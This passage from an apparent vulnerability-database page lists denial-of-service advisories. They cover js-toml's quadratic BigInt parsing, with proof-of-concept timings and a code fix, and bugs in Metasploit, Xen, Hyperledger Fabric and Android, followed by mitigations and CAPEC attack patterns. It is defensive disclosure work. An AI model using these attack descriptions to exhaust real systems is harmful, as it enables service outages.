digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k \u2192 20k digits is ~2x time (15ms \u2192 30ms); 100k \u2192 200k is ~4.7x time (693ms \u2192 3239ms); 200k \u2192 500k (2.5x) is ~12x time (3.2s \u2192 40s). Matches the predicted `O(n\u00b2)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`\u0027s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt(\u00270\u0027 + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n ```ts\n registerTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n const intString = raw.replace(/_/g, \u0027\u0027);\n const digits = intString.slice(2);\n const radix = getRadix(raw);\n\n // Optional but recommended: cap the literal length to avoid degenerate inputs\n const MAX_RADIX_LITERAL_LENGTH = 1000;\n if (digits.length \u003e MAX_RADIX_LITERAL_LENGTH) {\n throw new SyntaxParseError(\n `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n );\n }\n\n const int = parseInt(digits, radix);\n if (Number.isSafeInteger(int)) {\n return int;\n }\n\n // BigInt accepts \u00270x\u0027/\u00270o\u0027/\u00270b\u0027 prefix natively\n return BigInt(intString);\n });\n ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.",
"id": "GHSA-wp3c-266w-4qfq",
"modified": "2026-11-04T03:41:49Z",
"published": "2026-06-26T22:21:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49293"
},
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/commit/1e45ca56ba12e98508f8aae3e31c4aff7603d711"
},
{
"type": "PACKAGE",
"url": "https://github.com/sunnyadn/js-toml"
},
{
"type": "WEB",
"url": "https://github.com/sunnyadn/js-toml/releases/tag/v1.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals"
}
GHSA-WP3V-G466-8G44
Vulnerability from github – Published: 2021-05-05 19:25 – Updated: 2026-10-23 03:30By sending a specially crafted HTTP GET request to a listening Rapid7 Metasploit HTTP handler, an attacker can register an arbitrary regular expression. When evaluated, this malicious handler can either prevent new HTTP handler sessions from being established, or cause a resource exhaustion on the Metasploit server.
{
"affected": [],
"aliases": [
"CVE-2019-5645"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-01T15:15:00Z",
"severity": "HIGH"
},
"details": "By sending a specially crafted HTTP GET request to a listening Rapid7 Metasploit HTTP handler, an attacker can register an arbitrary regular expression. When evaluated, this malicious handler can either prevent new HTTP handler sessions from being established, or cause a resource exhaustion on the Metasploit server.",
"id": "GHSA-wp3v-g466-8g44",
"modified": "2026-10-23T03:30:19Z",
"published": "2021-05-05T19:25:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5645"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/11966"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/12433"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/commit/5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in Rapid7 Metasploit"
}
GHSA-WP5G-757J-V342
Vulnerability from github – Published: 2022-10-11 19:00 – Updated: 2022-10-14 19:00Arm: unbounded memory consumption for 2nd-level page tables Certain actions require e.g. removing pages from a guest's P2M (Physical-to-Machine) mapping. When large pages are in use to map guest pages in the 2nd-stage page tables, such a removal operation may incur a memory allocation (to replace a large mapping with individual smaller ones). These memory allocations are taken from the global memory pool. A malicious guest might be able to cause the global memory pool to be exhausted by manipulating its own P2M mappings.
{
"affected": [],
"aliases": [
"CVE-2022-33747"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-404"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-11T13:15:00Z",
"severity": "LOW"
},
"details": "Arm: unbounded memory consumption for 2nd-level page tables Certain actions require e.g. removing pages from a guest\u0027s P2M (Physical-to-Machine) mapping. When large pages are in use to map guest pages in the 2nd-stage page tables, such a removal operation may incur a memory allocation (to replace a large mapping with individual smaller ones). These memory allocations are taken from the global memory pool. A malicious guest might be able to cause the global memory pool to be exhausted by manipulating its own P2M mappings.",
"id": "GHSA-wp5g-757j-v342",
"modified": "2022-10-14T19:00:40Z",
"published": "2022-10-11T19:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-33747"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TJOMUNGW6VTK5CZZRLWLVVEOUPEQBRHI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XWSC77GS5NATI3TT7FMVPULUPXR635XQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TJOMUNGW6VTK5CZZRLWLVVEOUPEQBRHI"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWSC77GS5NATI3TT7FMVPULUPXR635XQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YZVXG7OOOXCX6VIPEMLFDPIPUTFAYWPE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202402-07"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5272"
},
{
"type": "WEB",
"url": "https://xenbits.xenproject.org/xsa/advisory-409.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/10/11/5"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-409.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WP5G-HHM3-443G
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29An issue was discovered in Xen through 4.14.x. There is a lack of preemption in evtchn_reset() / evtchn_destroy(). In particular, the FIFO event channel model allows guests to have a large number of event channels active at a time. Closing all of these (when resetting all event channels or when cleaning up after the guest) may take extended periods of time. So far, there was no arrangement for preemption at suitable intervals, allowing a CPU to spend an almost unbounded amount of time in the processing of these operations. Malicious or buggy guest kernels can mount a Denial of Service (DoS) attack affecting the entire system. All Xen versions are vulnerable in principle. Whether versions 4.3 and older are vulnerable depends on underlying hardware characteristics.
{
"affected": [],
"aliases": [
"CVE-2020-25601"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-23T22:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Xen through 4.14.x. There is a lack of preemption in evtchn_reset() / evtchn_destroy(). In particular, the FIFO event channel model allows guests to have a large number of event channels active at a time. Closing all of these (when resetting all event channels or when cleaning up after the guest) may take extended periods of time. So far, there was no arrangement for preemption at suitable intervals, allowing a CPU to spend an almost unbounded amount of time in the processing of these operations. Malicious or buggy guest kernels can mount a Denial of Service (DoS) attack affecting the entire system. All Xen versions are vulnerable in principle. Whether versions 4.3 and older are vulnerable depends on underlying hardware characteristics.",
"id": "GHSA-wp5g-hhm3-443g",
"modified": "2022-05-24T17:29:24Z",
"published": "2022-05-24T17:29:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25601"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4JRXMKEMQRQYWYEPHVBIWUEAVQ3LU4FN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DA633Y3G5KX7MKRN4PFEGM3IVTJMBEOM"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RJZERRBJN6E6STDCHT4JHP4MI6TKBCJE"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202011-06"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4769"
},
{
"type": "WEB",
"url": "https://xenbits.xen.org/xsa/advisory-344.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP68-67C6-87FH
Vulnerability from github – Published: 2022-11-13 12:00 – Updated: 2022-11-17 18:30Hyperledger Fabric 2.3 allows attackers to cause a denial of service (orderer crash) by repeatedly sending a crafted channel tx with the same Channel name. NOTE: the official Fabric with Raft prevents exploitation via a locking mechanism and a check for names that already exist.
{
"affected": [],
"aliases": [
"CVE-2022-45196"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-12T20:15:00Z",
"severity": "HIGH"
},
"details": "Hyperledger Fabric 2.3 allows attackers to cause a denial of service (orderer crash) by repeatedly sending a crafted channel tx with the same Channel name. NOTE: the official Fabric with Raft prevents exploitation via a locking mechanism and a check for names that already exist.",
"id": "GHSA-wp68-67c6-87fh",
"modified": "2022-11-17T18:30:26Z",
"published": "2022-11-13T12:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45196"
},
{
"type": "WEB",
"url": "https://github.com/SmartBFT-Go/fabric/issues/286"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/pull/2934"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WP6G-8W38-Q9FJ
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31In multiple locations, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2025-26449"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-04T18:15:44Z",
"severity": "MODERATE"
},
"details": "In multiple locations, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-wp6g-8w38-q9fj",
"modified": "2025-09-05T18:31:18Z",
"published": "2025-09-05T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26449"
},
{
"type": "WEB",
"url": "https://android.googlesource.com/platform/frameworks/base/+/e3c4ba3c7963138cb4c189fbec829c08ab27fa08"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2025-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.